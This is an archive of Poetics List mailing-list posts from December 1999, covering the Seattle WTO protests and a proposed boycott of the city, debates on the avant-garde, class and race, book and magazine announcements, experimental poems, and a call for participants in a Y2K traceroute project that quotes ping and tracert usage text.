> *Because I live within range of radio station kpfa, I am able to forward eye-witness accounts heard yesterday, by live feed from Seattle. And so I shall---with apologies to those who would like to see this List stick to its poetics mission.*
>
> *These reports testify to "overkill" violence on the part of police forces in Seattle. Faced with peaceful protests and passive resistance, the forces of law-n-order fired rubber bullets pointblank at seated protestors, in attempts to clear a 50-block area that the mayor had (with dubious constitutionality) placed off-limits to free speech.*
>
> *In many previous such demonstrations in other cities, protestors have been removed by hands-on methods, with ultimate success for the police. In Seattle, police fired rubber bullets into the faces of those who were in their way, breaking teeth and raising grapefruit-sized welts. A young woman who was among those helping out at a field station by tending the wounded, said that many injured men had been shot in the groin, likewise pointblank.*

Others had their wounds in the back, sustained as they complied with police demands that they vacate the area. People were trapped in order to be teargassed [note : as I saw happen at UC Berkeley in 1968] rather than being allowed to disperse.

She also testified that she and other workers were ordered to remove the red cross armbands they wore to identify themselves, and had their medical supplies confiscated. This meant that protestors who had been teargassed (often, also at pointblank range) were denied water and swabs to relieve the pain of the searing and choking gas. She said, too, that (this in contrast to wire-service reports today of "several injured") she and her colleagues had treated more than a hundred sufferers.

I am a student of voices. This woman was telling the truth, on this I stake myself....although I can well imagine the corporate media would, did they have to deal with her at all, frame her as a dupe or tool.

The list of civil rights violations, physical or otherwise, could go on and on, but this is e-mail, so I forbear.

Many of these police, in riot gear, displayed no badges nor was it possible to know to which adminstrative unit they belonged----Seattle police, King's County marshalls, Washington State police, Highway Patrol, federal agents, National Guard. The Mayor has done some hand-wringing, but like it or not he, Paul Schell, bears ultimate responsibility.

What one wants to do with this information is a seperate question. My sympathies lie with those who believe we must find a way to ensure such police-riots cannot be permitted (as surely this one was encouraged) to occur again.

In a move to compel the Mayor and his supporters to bear this responsibility, and to persuade the administrations of other cities in future situations where civil disobedience occurs, not to allow their police to go mad-dog (then wring their hands upon the fait accompli), many of us are urging a one-year boycott of the city of Seattle. We are trying to reach the Mayor to let him know the terms of this boycott. We think it should last for one year unless there is further police brutality today, in which case it should be extended to two years, and so on.

The boycott---based upon the grounds that Seattle cannot police its own police, thereby rendering the city unsafe to any persons---asks that you not travel to Seattle any time between Dec 5, 1999, and Dec. 5, 2000. If you need to drive thru the city, please gas up and get food in communities on either side of the city. The point is to spend no money in Seattle. Yes, this will bring hardship to innocent merchants and employees, but Seattle authorities escalated these proceedings into a war, and in a war, innocent people do get hurt. There is no other way to bring pressure upon

> *authorities to restrain their police. At best one gets an official inquiry, which exonerates the wrong-doers. If we can hit Seattle in the money-belt, those who feel the pinch the most will exert their own pressure on rogue officials. An example will be made of Seattle to prevent any repetition of such police overkill, in any other venue.*
>
> *With an outfit such as the WTO, consisting of delegates not elected by us, yet empowered to overturn our labor and environmental laws, there is nowhere to take our disagreement but to the streets---there, and the Net. The corpsemedia will distort these issues beyond sense. Ergo, the streets have to made safer for demonstrators. Or do we want a future where an unreachable WTO wrecks our lives and our one arena of action is owned by uniformed sadists?*
>
> *Cities will have to live with the fact that the USA allows peaceful assembly of dissidents. There are going to be people in the street for as long as we are denied other avenues to protest the undemocratic rule of the WTO---which can overturn national and state and local environmental laws, which can force our nation to import the products of child- and slave-labor, and which can bring about further export of jobs from the USA to countries with no regulatory sanctions that protect their workers or their environment. In the meantime, cities must not be allowed to get away with super-violence faits accomplis.*
>
> *The President himself told the WTO yesterday that he approved of the peaceful protestors being in the streets---at the same time that police were carrying out this violence against these president-approved persons. Judge for yourself whether this was cynical on his part or not....perhaps he is merely a dupe.*
>
> *Further sanctions are possible, and one would be to refuse to buy any product manufactured in Seattle.*
>
> *Please spread the word, and qualify the consequences for fascism in whatever way you wish.*
>
> *Thanks for your attention.*
>
> *David Bromige.*

↑ Index

67. **Alan Sondheim**

Read: 4 times

Sat 4 Dec 1999

\

Read: 3 times

00 Let X = tan(approaching 90 degrees)
10 # in a very pure land
20 # this is not a very pure land
30 Print X in pixels and GOTO 00
40 and when this is all over go back to 00
50 and when back at 00 make the raster finer
60 # making it finer makes X go greater
70 # X is so very great!
80 X is so very great it begins to escape the screen!
90 X escapes all screens!
100 quick quick cat X > /dev/null
110 /dev/null begins to bloat with Pixel-X!
120 # /dev/null is crafty
130 /dev/null empty as fast as /dev/null is full!
140 X can go on and on and is very tired but /dev/null is not!
150 # this happens when I am very tired
160 I am very tired, emptying X in all its forms
170 # this is the end of the world
180 it is not a very pure land

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68. david bromige
poets & our cliches
Sat 4 Dec 1999

To amplify (and to clarify, i hope) my response to tom raworth's post : when i used the cliche "in war, innocent people do get hurt", tom transferred it from where he got it (a highly contextualized situation, as he initially acknowledged, in which "hurt" is economic) to images of refugees being bombed... however he got down that slippery slope, he then employed the cliche "slippery slope" to warn me lest i lay aside my pen and pick up my uzi.

But when i heard tom's anxiety as encoded in "s.s.", ," i thought of "grave misgivings", a bleeding-heart liberal cliche excuse for doing nothing, and even of "it wouldnt be prudent," a fascist excuse for doing nothing. tom conjured me leading the easily misled, from economic sanctions to blitzkrieg; hence his "slippery slope." but i have no further ambitions concerning czeckoslovakia, except to learn how to spell it. i am surprised to have the "slippery slope" sanctions imposed upon me, by a man who must have had as many friends as i, imprisoned by those authorities on marijuana who know it always leads to heroin.

Anyway, let me say further re economic sanctions against seattle that, as david antin says, in approving the notion, it will be hard to get the word out. agreed, so we dont expect this action to bring catastrophic hardship to any one person. a reduction, maybe, of 3% in annual profits. but the effect is cumulative, and what we hope for is sufficient reduction in seattle's income to have a negative impact on their budget, so that certain "essential" services--we suggest, the police--have to be cut back. it is the police, first and foremost, who need to be taught a lesson in restraint.

But too, it is the city adminstrators who slip the police's leashes, who have to learn the hard way, and when big stores lose 3%, thats a lot of latte, and a corresponding increase in pressure on city hall to consider the consequences of police violence.

The purpose of this, as i understand it, is not primarily punitive but minatory---to prevent future demonstrations from being clobbered by city hall in other venues.

i like david antin's suggestion re microsoft. of course, already existing product from m.s has to be considered as grandfathered in. but for the next year, it wd be great if bill gates (a mighty fan of the w.t.o.) received less income from us outraged & nugatory chickens at the far end of the coop.

db

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69. Jerrold Shiroma

Small Press Publications...

Sat 4 Dec 1999

This weeks Small Press Publications List is up & running @ duration. The submissions to this page have been getting noticeably slim (in terms of number of folks sending in information). Makes me wonder if I should keep this up...would like any feedback anyone has to offer.

Any publishers who want their publications listed on the next posting (Dec 18), should send along all information (titles, authors, price, contact / ordering information) to [redacted] by Dec 17 (Friday) for Saturday posting.

Thanks much.

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70. David Dowker
The Alterran Poetry Assemblage #4 (further)
Sat 4 Dec 1999

Announcing: the addition of work by Karen Kelley, George Quasha, Allen Fisher, Drew Gardner, Gary Sullivan, Nancy Dunlop, Henry Gould, Patrick F. Durgin, and Allen Bramhall to issue #4 of

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

...also including Lissa Wolsak, Alan Halsey, Stephen Ellis, David Dowker, Meredith Quartermain, Carrie Etter, Spencer Selby, Sheila Murphy, and Bill Luoma.

new location --> http://members.home.net/alterra/

[redacted]

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71. Simon DeDeo
class way of not talking about race, etc...
Sat 4 Dec 1999

The reason I brought up the "screening" that class is sometimes used for is that, for me, the "avant-garde" is divided up far more by race than by class. For me, this is really obvious in a University situation (yes, there are working class people there -- the question of "cultural class" notwithstanding), where the "spoken word" is largely a black domain and writers who cross over from more NY school derivative poetries are mostly white. When I was down in NYC, interestingly, there was not the same kind of perception -- Nuyorican, for example, is thrilling in its ethnic mix.

The one place where this is absent -- particularly interesting -- is among people doing work in electronic music or "new music". Perhaps the explicitness of "trade" (there's a specific body of knowledge needed to claim membership that can be -- somewhat -- objectively evaluated) that isn't present in poetry (where there's a greater empahsis on 'talent', and less background needed) keeps racial questions in the background. I say this, by the way, as someone who knows little about the politics of new music -- just as a audience member looking at the racial composition of the rooms.

-- Simon
http://www.fas.harvard.edu/~sdedeo

[redacted]

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72. Judy Smith McDonough
call for submissions
Sat 4 Dec 1999

CALL FOR SUBMISSIONS

poetrynow
volume 2 number 2
publication date: the solstice at the end of a millennium

Judy Smith McDonough, editor, poetrynow
http://www.poetrynow.org

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73. Alan Sondheim
The Traceroute Project - Please Participate (fwd)
Sun 5 Dec 1999

\

(The following description is at http://trace.ntu.ac.uk in the trAceroute conference. I'm looking for participants - if you're interested, please write into it. Thank you greatly - Alan)

Topic:
About the Traceroute Project (1 of 3), Read 16 times
Conf:
NEW! trAceroute
From:
Alan Sondheim ([redacted])
Date:
03 December 1999 08:24 AM

Hi - I'm asking everyone to participate in the TRACEROUTE PROJECT, which really occurs on December 31 and January 1. Traceroute is a utility which comes with the unix or linux operating system - there is a version in Win95 and Win98 called tracert. It is a way to track the path from your computer to a site anywhere in the world. For example, if you are in Australia, at Murdoch University, you could type

tracert columbia.edu

at the DOS prompt in Windows 95 0r 98, and you would have a chart of the route between Murdoch and Columbia University in New York, USA.

Traceroute or tracert works by looking at the route between your computer and your target address, and sending signals to every machine between the two -

three signals (usually) per machine. The machines then send return signals, and traceroute gives you the round-trip time for each of the three.

Traceroute is used by system administrators and people like me to look at the "health" of the Internet as a whole - it tells you which machines aren't responding, for example (those which send back asterix such as *). It's incredibly useful.

Between December 31 and January 1, almost all the Y2k problems on the Net will be visible thorugh traceroute. The idea of this project is to gather a huge sheaf of data, illustrating the world-wide state of the Internet as the millennium starts. (The millennium takes a day to start world-wide, because of the time zones.)

What I would like from participants is a group of traceroutes sent to Trace (we'll let you know where), accompanied by your name. There is some technical information below (taken from a few posts I made) that indicates how to do this. It would also be great if you could include a description of Y2k problems in your location - for example, subways out, flickering lights, and so forth - and give your location as well. All of this will be included in the final report.

None of this will be graphic or great looking - but it will be an amazing compendium of the state of the earth at a critical time for humanity...

Please participate! Please post questions here!

Alan - and thank you!

(Below is the information from the other posts - you can ignore this if it is too technical.)

I would like to start, almost immediately, thinking about doing TRACEROUTE (traceroute) commands in linux or unix across the millennial hinge (i.e. during the day the time shifts over), reporting back on speed etc. between nodes etc. as the millennium arrives and Y2k does or does not come to fruition. Please let me know if you are interested in participating - you would have to have access to some traceroute program, and the ability to convert the results to a text file; we'll try and establish a site for placing these...

Here is some additional information from correspondence with Steen - Alan -

> Tracking servers - for example the command {k:1}traceroute
> trace.ntu.ac.uk gives of course the traceroute for trace from
> panix.com for me. I would track 'representative sites' -
> cleo.murdoch.edu.au for example is at the antipodes from NYC - in
> Perth. Also would trace random sites in Canada, across the US
> naturally, Japan. There are people in Finland who would do the same.
> So the origin of the tracking, for the most part, would be in relation

> to the participants - and the goal would be what would appear, to
> them, to be representative sites world-wide. > I've used about 5-6
> graphic traceroutes, and find in general they're more trouble than
> they're worth. One, PingPlotter, is pretty good, and you can save the
> traceroutes as images as well as text. The advantage of text is that
> you've got databases you can manipulate of course. It seems to me
> there are two kinds of graphics involved - those that represent geo-
> graphic information, mapping, etc. and those that plot times -
> PingPlotter is of the latter, which is more useful.
>
> The idea behind all of this is to consider the telecom internetting of
the
> world as a membrane, and to examine its condition, situation, on the
hinge
> of the millennium - how is connectivity functioning in light of - 1.
> who is and who is not wired in the first place and - 2. y2k and other
> (what are now) geopolitical problems. I'm fascinated by the idea of a
'snapshot'
> are now) geopolitical problems. I'm fascinated by the idea of a
'snapshot'
> of the planet in this regard. I've always found aesthetic value in
trace-
> route (and ping -s) since it really represents the bones, underlying
> structures of the Net, manifesting themselves...

And here is additional information. If you are on Windows 95 or 98, and can access DOS (I'm not sure about G3 or G4 or IMac but there must be utilities available):

Some tools for using with the Traceroute Project for Windows (tested for Win98):

PING:

Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list

Options:
-t Ping the specifed host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.

-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

TRACERT (traceroute):

Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:
-d Do not resolve addresses to hostnames.
-h maximum_hops Maximum number of hops to search for target.
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.

NETSTAT:

Active Connections

Proto Local Address Foreign Address State

Netstat tells you the Network statistics; both tracert and ping are very configurable. As you may know, you can also do ftp and telnet from the prompt.

If you do, say, tracert to panix.com, you would do tracert panix.com > trace.txt for example - which places the output in trace.txt. You may have to go back in and add the command "tracert panix.com" to the top of the file. If you then want to do, say, tracert trace.ntu.ac.uk and put it in trace.txt next, you would do tracert trace.ntu.ac.uk >> trace.txt The double carets >> mean "add to" and not "replace" - otherwise the trace.txt will be replaced. The same goes for ping or other commands.

This way, you can build up a file of traceroutes to send on - configured as you see fit. You might also use ping at times.

- Alan

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74. Rebecca Weldon Sithiwong

Class

Sun 5 Dec 1999

I appreciated Jorge's culture/Culture offering. In my mind, I categorize the recent subjects of class discussion the following way:

These are the things that are given: (what we are)
Mind
Sex
Race
Language

These are the things we produce as a society: (how we live)
Assets
Income
Power
Prestige

These are the creative judgements: (why we live)
religion
culture
Culture

It seems to me that, today, a person might less likely be concerned with the what and the why, except as they impinge on the how. And, in this circular reasoning, because the how is the key to current personal lifestyles, factors that inhibit choice (what, why) take on a greater magnitude. The what and why of who we are motivate the development of what we might call "alternatives", the fleshing out, so to speak, of the how.

I throw out a Thai example:

Vilak, male, Muang poet (what). Born into a farming family (how)in northern Thailand. Goes to school to discover that he is must learn to speak and read a second language, Central (Modern) Thai, in order to obtain an education (why).

From a young age he writes in his mother tongue, a language not taught in school. He receives a scholarship to pursue his formal studies in Thai(how). He translates his poetry into Central Thai. He becomes a well-known Thai poet; most people don't realize they are reading translation. He is nominated for the National Book award. His reads his work in the original at northern Thai cultural or religious events.

(Vilak's language, Kham Muang (the language of the T'ai Yuan), is currently spoken by six million people in northern Thailand. It is related to, but not a dialect of modern Thai, having it's own distinctive orthography and literature. In the interests of nation building, the Ministry of Education eliminated the language from the schools (following the incorporation of the northern Kingdom of Chiang Mai into the Kingdom of Siam). For several generations it has been taught in the temples only for the purpose of reading religious texts. However, since most men spend time in that context, some have retained a basic literacy in Kham Muang.)

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75. Daniel Carter

catavaulting within her (Words in Process) part 1

Sun 5 Dec 1999

{ }

catavaulting within her the memory of her feather verse(d)-spilling encre encore dose slittle wheel-like black hearts arts plucked t' lie a Spring Quartet the cuddling loom flower

what part of this in denial held both together melting people

malting themselves vaulting themselves faulting and halting themselves

    narrate in its own light

musicalization of affliction

pen station that mortal portal dancing beer stimulus from deceleration foldly enough: did anyone look? at what? its removal didn't know it was ever there

slave changes thrust me somewhere in this space the link cycle momentumized

beeper-vice up-puffly the problematical Metropolitan air poured sacred time setting scared time steam(in' slow-down) of consciousness done d' one it glows without slaying his titles to which he chains several large multipliers of multipliers rabbitly evolving flood trace predeterministically doubtcastes surface scratching further bleeding plethoras psychological(ly) vent firefiles acknowledge the baddest of the best practise reading her year bleaking book through travel packet reach the point of spilling spelling spelling spilling the trials looking for more interpolative compromising these études squeal in a trance again with (the) figure-active spoonlit span (in) t' Mars in the cage of five (5) plus (+) four (4) for our waiting eye/ear steer dear ferret least a more meant t' be inchtent be twig stabilletshook off in a hole other dialection caught a pen the hay say Daisy May exemplifade throw t' lash out

link to power

handlelight vandallight the sound wound pleasantries on the event's existence more neutrally resounding than just immediately before immediately to her as she rode (wrote) through the forest but may well good after pen thousands of (p)ages subsequent to the pleasant movie-go-er audience viewer in the pleasant insistence of the instant samely in owl coffers resplendent with wheel-tech and

tough ooze the plague (o)h genital reader in the other of others' echo I had to quickly make up on the basis of found text all swords of diagonal lacks a funderstanding

refiguration unit well into the steamy blight

recent releases class glow

oval memory name the naive city space lease again the tiny planet Molecule at Kite Ari Sun-Pull Ghost

a better copy re-scent

pie-based role spun isolated m' oceaning of Treasure Eye Randy (t' reassure (I ran)) on (t') the hot sea written write fluid if oh y' no-wit outta dare(!) bereft be left way t' stand prep t' th' move set a part bit revolve rotate out dis lodge meant detach unhook the book pages flew (elsewhere (didn't wanna (hidden wanna))) waited

collide the naive city space

faded plague

mirrule

swellspring Miss Lure

a clockumental event like most others

mounting desire

got into the
black seat sleep of the vanity transport

he has given generous slums to artists

Lockaway Beach

Public Peach

--

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76. Lawrence Upton
submitting to wf1000 / on word
Sun 5 Dec 1999

We are greatly heartened by the number of responses to our invitation, but a little surprised by the number who ask about size... & this morning's epost has brought another small flood

We said: "The size should be in the proportion 210 (wide) : 297 (high)."

Those figures are the gross metric dimensions of A4, but any (sensible) page size in that proportion is acceptable. It is likely that the actual published page

size will be less than A4 so make sure that you use a type size which will cope with reduction!

The important word here is "proportion"

Apologies to those who are not interested in this project...

Lawrence Upton
for Upton & Cobbing, editors "on word"

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77. Charles Bernstein
New from ROOF books (fwrd)
Sun 5 Dec 1999

---

this message is forwarded from ROOF books
****

ROOF Books has just published two new titles:

poetics@

edited by Joel Kuszai
($18.95/192pp)
133 e-mails from this list

&

Gorgeous Plunge
by Michael Gottlieb
($11.95/96pp)
new poetry

ROOF would like to offer them to this list only for a substantial discount. Members of this list can buy the books for:

****

poetics@ $15 & Gorgeous Plunge $9
including postage (which costs us $3)

If you order both books, total cost including postage is $20

You'll save $14

To order, please send your check or money order with your mailing address to:
Segue Foundation
303 East 8th Street
New York, NY 10009

Contact: James Sherry [redacted]

Publication Date: December 1, 1999

poetics@

[redacted] the first book of poetics to emerge from an electronic community, including 133 e-mails from 67 writers.

". . . the material for this book was mostly gathered from the first two years (and 10,000 printed pages) of the poetics list [at SUNY Buffalo] . . . The book represents . . . the beginning of a new era. Like all emergent technologies, the usefulness-to-poetry of electronic mail was not apparent until a few poets gained access." --Joel Kuszai, from the Introduction

"Now I get the chance to play 'sender.'"
--Robert Creeley, from his post

"It is better, yes, to take the dance off the back-channel and perform in public. Posting is performance, a new kind of art; writing in motion, more like improvisation in jazz than literary composition--skywriting, lightwriting, sandpainting, here and gone, happening in time." --Kali Tal, from her post

"Provides a window onto an ongoing, highly articulate, intensely percolating poetics-in-the making that is a fundamental feature of the most engaging and active poetry of our time. If anyone wonders what today's poets are thinking, what they are concerned about, what they value, this is a good place to start finding out." -- Charles Bernstein, from the Preface

$18.95 ISBN 0-937804-79-7 192 pp.

Publication Date: December 1, 1999

Gorgeous Plunge
Michael Gottlieb

Given the format of "language" and all the resonance of that inexorable surface, Michael Gottlieb leaps from echo to "every aging minute"--and onward, leaving a shimmering track of impressive brilliance. Words never had it so good nor did anyone ever so track them to their lair, wherein they at last cry out, "I'd like to say," or "Having said that," or "You never know." -- Robert Creeley

In Michael Gottlieb's Gorgeous Plunge, poets are the "we" of it. My generation at last, vanishing on the horizon. It's poetry--squibs of it, streams of it, pithy spoonfuls and dropped doses--one last squeeze of the tube-- that narrates by position of its clock hands--much like the narrator does in Robert Musil's epic The Man Without Qualities--the difficult and even giddy moment in which one faces one's culture and understands in a mute turning, what it is to be a man. --Eileen Myles

In the continuing battle between life and death at the end of the century, Michael Gottlieb's Gorgeous Plunge declares itself on the side of life. As a phenomenal account of self-consciousness within structures it can only partially authorize, Michael Gottlieb's work addresses the broad horizons of utopia, the chilling defiles of the economy, and the scrutable immediacies of everyday life. --Barrett Watten

Michael Gottlieb is the author of eight books of poetry including Local Color/Eidetic Deniers, Ninety-Six Tears (also published by Roof Books), New York and The River Road. His work has appeared in magazines and anthologies for the past twenty years. In the late 70s and early 80s he helped edit one of Language Poetry's seminal periodicals, Roof Magazine. A child of the suburbs, Michael Gottlieb presently lives in Northwestern Connecticut with his wife and two children.

96 pages ISBN: 0-937804-80-0 $11.95

Roof Books are distributed by Small Press Distribution,
1341 Seventh Avenue, Berkeley, CA. 94710-1403.
Phone orders: [redacted]

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78. geraldine mckenzie
Re: avant garde / mckenzie
Sun 5 Dec 1999

I tried to keep this brief.

First - to John, I wasn't referring to you in my comments and am at a loss as to why you think so. I now have to say I'll admit I'm not good with email, it's too fast, like conversation, and in a certain mood I open my big mouth and get carried away, by the end of it I was working up to full Celtic warrior/bush lawyer mode (an hour later I was recalling all the ellisions and generalizations of my post). Re novelty: the usual sense of the term avant garde encompasses this quality and I thought (could be wrong) it was mentioned in the post on the Lehmann book. Avant garde poetries frequently cite the importance of new forms, new languages, new possibilities, not necessarily from a belief in the essential virtue of the new but out of a sense of the inadequacies of orthodoxy. As for the association with commodities, I appreciate it wasn't made in the fourteenth century but, in Australia at least, all words referring to novelty or newness have become advertising staples to an extent that compromises their usage in any other area. (This doesn't even begin to address the issue of art as commodity, though I'd be interested to see what others have to say.) Re: 'revolutionary' texts - Just to clarify my use of opposition - I'm thinking in terms of modes of thinking and writing rather than beliefs or 'attitudes'. Of course, each

feeds the other but, to put it in the crudest terms, I don't see the avant garde functioning as propagandists or prophets (though some have sought such roles). In fact, I dislike any characterisation of the poet which romanticises the occupation or endows it with a questionable authority. '(Reader could be writer, writer reader. Listener could be teacher.)' (DuPlessis) * As for the intrinsic oppositional nature of the avant garde, I offer a quotation from a much more useful text than this posting - "Robert Stearns writes (in a configuration we would share with him): 'The avant garde might be characterised as those creators who do not take their environment & its traditions at face value. They separate & view its elements & realign them according to their own needs.' This description (while devoid as yet of social revolutionary purpose) is general enough to include the great range of strategies & stances in experimental poetry & art." - Rothenberg and Joris in the introduction to Vol. 1, Poems for the Millenium. In this context I mention, without exploring, Paul Fussell's analysis of an adversarial cast of mind which derives from the experiences of the Great War (The Great War and Modern Memory). What is most germane is not the combatants' sense of the Enemy, although this is profound, but the division between the troops and the General Staff/civilian society, and a developing sense of the fraudulence of authority, be it militiary, political or cultural. Re: marketplace - what can I say - I didn't mean it quite literally, but avant garde poetry/writing is for sale, surely, unless you access it on the net. In addition, the poetic economy is a little more complex than the exchange of goods for money, income is more commonly generated by funding and/or teaching positions but these, of course, are in some measure dependant on publication. In any case, if you check my original post, I did double back on that clause. Bit it on the bum, as it were. Similiarly, with the reference to technique. Still, I'll admit this is one of the sections of my post which I felt had weaknesses, too many leaps, setting up of possibly artificial distinctions (and what distinctions aren't? Well, quite.), and yet raising issues that I'm interested in and would like to read other posts on. I don't mind admitting that I know very little and am trying to figure it all out. I'm not avant garde either but I am experimenting inasmuch as I try to see what I can do with language, and I'm not too keen on repeating myself (though it happens, it happens). Improvisation? Of course. Re: technique. Questions. Collage has been described as a major innovation in poetic technique. Clearly, whilst it is a technique, it's also intimately connected with certain ideas about reality and poetics. However, the technique can be used by those who, for a variety of reasons, do not partake of the theoretic grounding from which collage derives. The appearance of being avant garde is there, but what else?- I'm thinking of a well-known scandal in the Australian literary scene (in the fifties, I think). Two established poets wrote a group of poems, ostensibly by an unknown experimental poet 'Ern Malley'. Their intention was to expose what they saw as the pretensions of such poetry. Re: official verse culture - a matter of circumstance -

most of the magazines here are dominated by it. As are readings, festivals, competitions etc. but I'm perhaps most keenly aware of it at work - I teach high school and, whilst university courses are more adventurous, the school curriculum is extremely limited. From memory, the most experimental writing a high school student is likely to encounter (and only if studying at the most advanced level) is A Portrait of the Artist as a Young Man and T.S. Eliot. No further comment. Except to say, I understand official verse culture to be a strand in official culture and, though one may evade some of its manifestations, it's impossible to evade them all. In conclusion, a beginning - please dispute some or all of the above - it just scratches the surface -

*(Digression - there's an account of Henry James meeting Ada Leverson and, after some discussion of his work prompted by her questions, he said - "Can it be - it must be - that you are that embodiment of the incorporeal, that elusive yet ineluctable being to whom through the generations novelists have so unfailingly made invocation; in short, the Gentle Reader?")

Regards, Geraldine McKenzie

> *From: "Lowther, John" <[redacted]>*
> *To: buffalist <[redacted]>, [redacted]*
> *Subject: RE: avant garde / mckenzie*
> *Date: Thu, 2 Dec 1999 15:15:42 -0500*
>
> *geraldine mckenzie wrote;*
>
> > *"It is misleading to refer to*
> > *the avant garde solely in terms*
> > *of novelty. This establishes*
> > *an association with art*
> > *as commodity which is generally*
> > *repudiated by those artists*
> > *who might be described*
> > *as avant garde. Novelty is*
> > *a creature of time and unreliable,*
> > *a bye product of experiment*
> > *rather than an end."*
>
> *it is misleading --- did i do it ? i recall writing about someone at the symposium in new orleans who'd thrown out the tern novelty in his screed about the term experimental --- i dont recall the term avant garde coming into it --- but i wd like to mention that novelty need not relate to commodity and as its origin is in the 14th century it seems reasonably disconnected to commodity culture circa now*
>
> > *"What is more significant*
> > *is the 'revolutionary' or*

> *oppositional nature of a text."*

i see what yr saying here but i'm not sure that belief is compelled --- that
is, i find the discontinuity between the work of the italian futurists and
what had been going on up until then much more interesting, in and of itself
(it's novelty?) than i do they "revolutionary" attitudes of this group ----
as such it seems that its our needs that make X Y or Z "significant"

> *"Meanwhile, in the marketplace,*
> *the 'novelty' of the avant garde*
> *signals just another item for sale*
> *-or so some would like to think.*
> *If the experimental only referred*
> *to technique, this might be so, but*
> *when it refers to ideas or modes*
> *of thought, then it can constitute*
> *a challenge to what Bernstein*
> *accurately terms'official verse culture' which*
> *(...) is still very much in place."*

how much avant garde is available in the market place ? i've never seen any,
as such i wonder what this cd mean ultimately --- and the experimental, i'd
say has nothing to do with technique and is a cognitive relation to the work
not a style or technique that one can pick up put down at any time --- not
that i think many of us are writing experimental poetry --- i doubt we are
--- i maybe have written one poem deserving the name and seen a handful more
--- it seems to me that instead what most of us are engaged in is
improvization of one sort or another and with varying degrees of
guidelines/guard-rails etc

i dont dispute that there is an official verse culture but i don't feel
connected to it enough to be able to muster much of an oppositional attitude
towards it myself --- to be truly oppositional i wd have to pay attention to
official verse culture and there is so much better to be done with my time

> *"To say it [the A-G] does not,*
> *and can not, exist is either*
> *wishful thinking or a form of cultural*
> *despair, a loss of faith*
> *not only in poetry, but also*
> *language, and thus - us."*

> *must it be so stark ? i wd rather*
> *have the supposedly avant garde character*
> *of presentness and ditch the oppositionality*
>
> *so i guess i'm not in the avant garde huh ?*

Get Your Private, Free Email at http://www.hotmail.com

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79. Alan Sondheim

The Work of Authority in IRC Channel #Nikuko

Sun 5 Dec 1999

\

The Work of Authority in IRC Channel #Nikuko

IRC log started Sun Dec 5 02:18
*** Value of LOG set to ON
 < Nikuko > This is so very sad.
 < Nikuko > Where are you?
 < Nikuko > Hello, Jennifer?
*** Nikuko is now known as Jennifer
- NickServ - This nick is owned by someone else. Please choose another.
- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>
- NickServ - Your nick will be changed in 60 seconds if you do not comply.
*** Jennifer is now known as Julu
- NickServ - This nick is owned by someone else. Please choose another.
- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>
- NickServ - Your nick will be changed in 60 seconds if you do not comply.
*** Julu is now known as JJennifer
 < JJennifer > I am so sorry, morphing like this.
 < JJennifer > O! Nikuko, I have missed you.
[E/X] Signon at 2:20 am for options detected.
 < JJennifer > Who is that other?
 < JJennifer > Tell me...
*** JJennifer is now known as Nikuko
 < Nikuko > Oh Oh Oh Come towards me.
 < Nikuko > Oh I am so very sorry, I am crying enormously here.
*** Nikuko is now known as JJennifer

< JJennifer > Nikuko, I miss you wildly, these spaces collapse to nothing.
*** JJennifer is now known as Nikuko
< Nikuko > These spaces are nothing, Jennifer, our love is one forever...
*** Nikuko is now known as JJennifer
< JJennifer > Melt with me, Nikuko, melt with me.
*** JJennifer is now known as Nikuko
< Nikuko > I am melting, JJennifer
*** Nikuko is now known as NikukoJen
< NikukoJen > Ah ah ah ah ah
[E/X] Signoff at 2:23 am for options detected.
*** NikukoJen is now known as JenniferN
< JenniferN > Ah ah ah ah ah
*** JenniferN is now known as NJieknunk
< NJieknunk > Ah ah ah ah ah
*** NJieknunk is now known as JNeinknui
< JNeinknui > Ah ah ah ah ah
*** JNeinknui is now known as All
< All > Ah ah ah ah ah!
- NickServ - This nick is owned by someone else. Please choose another.
- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>
- NickServ - Your nick will be changed in 60 seconds if you do not comply.
< All > Ah ah ah ah ah!
*** All is now known as One
- NickServ - This nick is owned by someone else. Please choose another.
- NickServ - If this is your nick, type: /msg NickServ IDENTIFY <password>
- NickServ - Your nick will be changed in 60 seconds if you do not comply.
*** Signoff: One (But the time has come when all things shall pass.)
IRC Log ended *** Sun Dec 5 02:26

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80. Maria Damon

Re: machismo and the avant-garde?

Mon 6 Dec 1999

michael davidson has a few essays on masculinity and coterie, mostly of the SF renaissance (spicer, duncan et al) and i imagine he deals with it fairly extensively in his forthcoming Guys Like Us, about Cold War masculinities. also, susan suleiman has a book on gender, misogyny and avant garde dealing w/ the french scene (man ray, surrealists, etc). rachel blau du plessis gave a talk on

olson, wieners and gender at the poets of the 50s conference in Maine 1996. there is much to be written about here, but everytime folks bring it up on poetix, there's a kind of hysterical backlash as if icons were being personally attacked. for example, if i direct you to Tom Clarke's biography of Olson, called something like Allegory of a Poet's Life, i'm sure someone will leap in and denounce it. i have no feeling pro or con about tom clarke, but i learned a lot from reading the book (i inherited the project of reading it for a press that was considering reprinting it in paperback from someone who'd turned the project down cuz didn't want to get involved in the "controversy." this was before i knew there was a controversy.) anyway, avantgarde machismo is a much observed but little written about fact of life. it's like hettie jones sez of beat culture. "so we were somewhat oppressed and it wasn't a perfectly utopian counterculture; it was better than death in the suburbs."

At 6:00 PM -0500 12/2/99, Daniel Kane wrote:
>Anyone know of work that's been done on machismo as implicit in
>avant-garde values? Or, on a more localized level, Olson and machismo
>(i.e., "go by it, boys, rather than by,the metronome," and "there it is,
>brothers, sitting there, for USE," "from the moment he ventures into
>FIELD COMPOSITION--puts himself into the open" etc.).
>
>A list of any articles / books that deal with this in one way or
>another would be much appreciated.
>
>If you like, backchannel to [redacted].
>
>Thanks.
>--daniel

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81. **Pete**
Re: Seattle businesses boycott
Mon 6 Dec 1999

There's really only one that you really need to deal with: MicroSoft.

